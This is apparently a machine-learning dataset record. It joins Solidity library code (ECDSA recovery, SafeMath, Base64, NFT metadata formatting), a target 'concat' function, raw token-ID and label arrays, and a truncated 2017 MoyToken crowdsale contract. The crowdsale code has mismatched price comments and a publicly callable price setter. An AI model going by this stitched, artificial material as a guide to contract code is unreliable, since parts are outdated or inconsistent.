`hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title Base64 /// @author Brecht Devos - <[email protected]> /// @notice Provides functions for encoding/decoding base64 library Base64 { string internal constant TABLE_ENCODE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; function encode(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ""; // load the table into memory string memory table = TABLE_ENCODE; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((data.length + 2) / 3); // add some extra buffer at the end required for the writing string memory result = new string(encodedLen + 32); assembly { // set the actual output length mstore(result, encodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 3 bytes at a time for { } lt(dataPtr, endPtr) { } { // read 3 bytes dataPtr := add(dataPtr, 3) let input := mload(dataPtr) // write 4 characters mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F)))) resultPtr := add(resultPtr, 1) } // padding with '=' switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library StringList { /** * @dev join list of strings with delimiter */ function join( string[] memory list, string memory delimiter, bool skipEmpty ) internal pure returns (string memory) { if (list.length == 0) { return ""; } string memory result = list[0]; for (uint256 i = 1; i < list.length; i++) { if (skipEmpty && bytes(list[i]).length == 0) continue; result = string(abi.encodePacked(result, delimiter, list[i])); } return result; } /** * @dev concatenate two lists of strings */ function concat(string[] memory list1, string[] memory list2) internal pure returns (string[] memory) { string[] memory result = new string[](list1.length + list2.length); for (uint256 i = 0; i < list1.length; i++) { result[i] = list1[i]; } for (uint256 i = 0; i < list2.length; i++) { result[list1.length + i] = list2[i]; } return result; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Strings.sol"; import "./Base64.sol"; import "./StringList.sol"; library FormatMetadata { using Base64 for bytes; using StringList for string[]; using Strings for uint256; function formatTraitString(string memory traitType, string memory value) internal pure returns (string memory) { if (bytes(value).length == 0) { return ""; } return string( abi.encodePacked( '{"trait_type":"', traitType, '","value":"', value, '"}' ) ); } function formatTraitNumber( string memory traitType, uint256 value, string memory displayType ) internal pure returns (string memory) { return string( abi.encodePacked( '{"trait_type":"', traitType, '","value":', value.toString(), ',"display_type":"', displayType, '"}' ) ); } function formatTraitNumber( string memory traitType, int256 value, string memory displayType ) internal pure returns (string memory) { return string( abi.encodePacked( '{"trait_type":"', traitType, '","value":', intToString(value), ',"display_type":"', displayType, '"}' ) ); } function formatMetadata( string memory name, string memory description, string memory image, string[] memory attributes, string memory additionalMetadata ) internal pure returns (string memory) { return string( abi.encodePacked( "data:application/json;base64,", bytes( abi.encodePacked( '{"name": "', name, '", "description": "', description, '", "image": "', image, '", "attributes": [', attributes.join(", ", true), "]", bytes(additionalMetadata).length > 0 ? "," : "", additionalMetadata, "}" ) ).encode() ) ); } function formatMetadataWithSVG( string memory name, string memory description, string memory svg, string[] memory attributes, string memory additionalMetadata ) internal pure returns (string memory) { return string( abi.encodePacked( "data:application/json;base64,", bytes( abi.encodePacked( '{"name": "', name, '", "description": "', description, '", "image_data": "', svg, '", "attributes": [', attributes.join(", ", true), "]", bytes(additionalMetadata).length > 0 ? "," : "", additionalMetadata, "}" ) ).encode() ) ); } function intToString(int256 n) internal pure returns (string memory) { uint256 nAbs = n < 0 ? uint256(-n) : uint256(n); bool nNeg = n < 0; return string(abi.encodePacked(nNeg ? "-" : "", nAbs.toString())); } } //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IPlotMetadata { function getMetadata( uint256 tokenId, bool staked, string[] calldata additionalAttributes ) external view returns (string memory); } //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IPlot { function getPlotCoordinate(uint256 tokenId) external view returns (int256, int256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } }
* @dev concatenate two lists of strings/
function concat(string[] memory list1, string[] memory list2) internal pure returns (string[] memory) { string[] memory result = new string[](list1.length + list2.length); for (uint256 i = 0; i < list1.length; i++) { result[i] = list1[i]; } for (uint256 i = 0; i < list2.length; i++) { result[list1.length + i] = list2[i]; } return result; }
17,505
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 5206, 11361, 2795, 6035, 434, 2064, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 3835, 12, 1080, 8526, 3778, 666, 21, 16, 533, 8526, 3778, 666, 22, 13, 203, 565, 2713, 203, 565, 16618, 203, 565, 1135, 261, 1080, 8526, 3778, 13, 203, 225, 288, 203, 565, 533, 8526, 3778, 563, 273, 394, 533, 8526, 12, 1098, 21, 18, 2469, 397, 666, 22, 18, 2469, 1769, 203, 565, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 666, 21, 18, 2469, 31, 277, 27245, 288, 203, 1377, 563, 63, 77, 65, 273, 666, 21, 63, 77, 15533, 203, 565, 289, 203, 565, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 666, 22, 18, 2469, 31, 277, 27245, 288, 203, 1377, 563, 63, 1098, 21, 18, 2469, 397, 277, 65, 273, 666, 22, 63, 77, 15533, 203, 565, 289, 203, 565, 327, 563, 31, 203, 225, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0xd0df293593912a594b790137ff3b7a296ec33f42 //Contract name: MoyTokenOpenDistribution //Balance: 0 Ether //Verification Date: 12/30/2017 //Transacion Count: 2 // CODE STARTS HERE pragma solidity ^0.4.18; // **----------------------------------------------- // MoyToken Open Distribution Smart Contract. // 30,000,000 tokens available via unique Open Distribution. // POWTokens Contract @ POWToken.eth // Open Dsitribution Opens at the 1st Block of 2018. // All operations can be monitored at etherscan.io // ----------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/issues/20 // ------------------------------------------------- contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { owner = newOwner; } } contract safeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; safeAssert(a == 0 || c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { safeAssert(b > 0); uint256 c = a / b; safeAssert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { safeAssert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; safeAssert(c>=a && c>=b); return c; } function safeAssert(bool assertion) internal pure { if (!assertion) revert(); } } contract StandardToken is owned, safeMath { function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract MoyTokenOpenDistribution is owned, safeMath { // owner/admin & token reward address public admin = owner; //admin address StandardToken public tokenContract; // address of MoibeTV MOY ERC20 Standard Token. // deployment variables for static supply sale uint256 public initialSupply; uint256 public tokensRemaining; // multi-sig addresses and price variable address public budgetWallet; // budgetMultiSig for PowerLineUp. uint256 public tokensPerEthPrice; // set initial value floating priceVar. // uint256 values for min,max,caps,tracking uint256 public amountRaised; uint256 public fundingCap; // loop control, startup and limiters string public CurrentStatus = ""; // current OpenDistribution status uint256 public fundingStartBlock; // OpenDistribution start block# uint256 public fundingEndBlock; // OpenDistribution end block# bool public isOpenDistributionClosed = false; // OpenDistribution completion boolean bool public areFundsReleasedToBudget= false; // boolean for MoibeTV to receive Eth or not, this allows MoibeTV to use Ether only if goal reached. bool public isOpenDistributionSetup = false; // boolean for OpenDistribution setup event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event Buy(address indexed _sender, uint256 _eth, uint256 _MOY); mapping(address => uint256) balancesArray; mapping(address => uint256) fundValue; // default function, map admin function MoyOpenDistribution() public onlyOwner { admin = msg.sender; CurrentStatus = "Tokens Released, Open Distribution deployed to chain"; } // total number of tokens initially function initialMoySupply() public constant returns (uint256 tokenTotalSupply) { tokenTotalSupply = safeDiv(initialSupply,100); } // remaining number of tokens function remainingSupply() public constant returns (uint256 tokensLeft) { tokensLeft = tokensRemaining; } // setup the OpenDistribution parameters function setupOpenDistribution(uint256 _fundingStartBlock, uint256 _fundingEndBlock, address _tokenContract, address _budgetWallet) public onlyOwner returns (bytes32 response) { if ((msg.sender == admin) && (!(isOpenDistributionSetup)) && (!(budgetWallet > 0))){ // init addresses tokenContract = StandardToken(_tokenContract); //MoibeTV MOY tokens Smart Contract. budgetWallet = _budgetWallet; //Budget multisig. tokensPerEthPrice = 1000; //Regular Price 1 ETH = 1000 MOY. fundingCap = 3; // update values amountRaised = 0; initialSupply = 30000000; tokensRemaining = safeDiv(initialSupply,1); fundingStartBlock = _fundingStartBlock; fundingEndBlock = _fundingEndBlock; // configure OpenDistribution isOpenDistributionSetup = true; isOpenDistributionClosed = false; CurrentStatus = "OpenDistribution is setup"; //gas reduction experiment setPrice(); return "OpenDistribution is setup"; } else if (msg.sender != admin) { return "Not Authorized"; } else { return "Campaign cannot be changed."; } } function setPrice() public { //Verificar si es necesario que sea pública. //Funding Starts at the 1st Block of the Year. The very 1st block of the year is 4830771 UTC+14(Christmas Islands). //After that, all the CrowdSale is measured in UTC-11(Fiji), to give chance until the very last block of each day. if (block.number >= fundingStartBlock && block.number <= fundingStartBlock+11520) { // First Day 300% Bonus, 1 ETH = 3000 MOY. tokensPerEthPrice = 3000; } else if (block.number >= fundingStartBlock+11521 && block.number <= fundingStartBlock+46080) { // First Week 200% Bonus, 1 ETH = 2000 MOY. tokensPerEthPrice = 2000; //Regular Price for All Stages. } else if (block.number >= fundingStartBlock+46081 && block.number <= fundingStartBlock+86400) { // Second Week 150% Bonus, 1 ETH = 1500 MOY. tokensPerEthPrice = 2000; //Regular Price for All Stages. } else if (block.number >= fundingStartBlock+86401 && block.number <= fundingEndBlock) { // Regular Sale, final price for all users 1 ETH = 1000 MOY. tokensPerEthPrice = 1000; //Regular Price for All Stages. } } // default payable function when sending ether to this contract function () public payable { require(msg.data.length == 0); BuyMOYTokens(); } function BuyMOYTokens() public payable { // 0. conditions (length, OpenDistribution setup, zero check, exceed funding contrib check, contract valid check, within funding block range check, balance overflow check etc.) require(!(msg.value == 0) && (isOpenDistributionSetup) && (block.number >= fundingStartBlock) && (block.number <= fundingEndBlock) && (tokensRemaining > 0)); // 1. vars uint256 rewardTransferAmount = 0; // 2. effects setPrice(); amountRaised = safeAdd(amountRaised,msg.value); 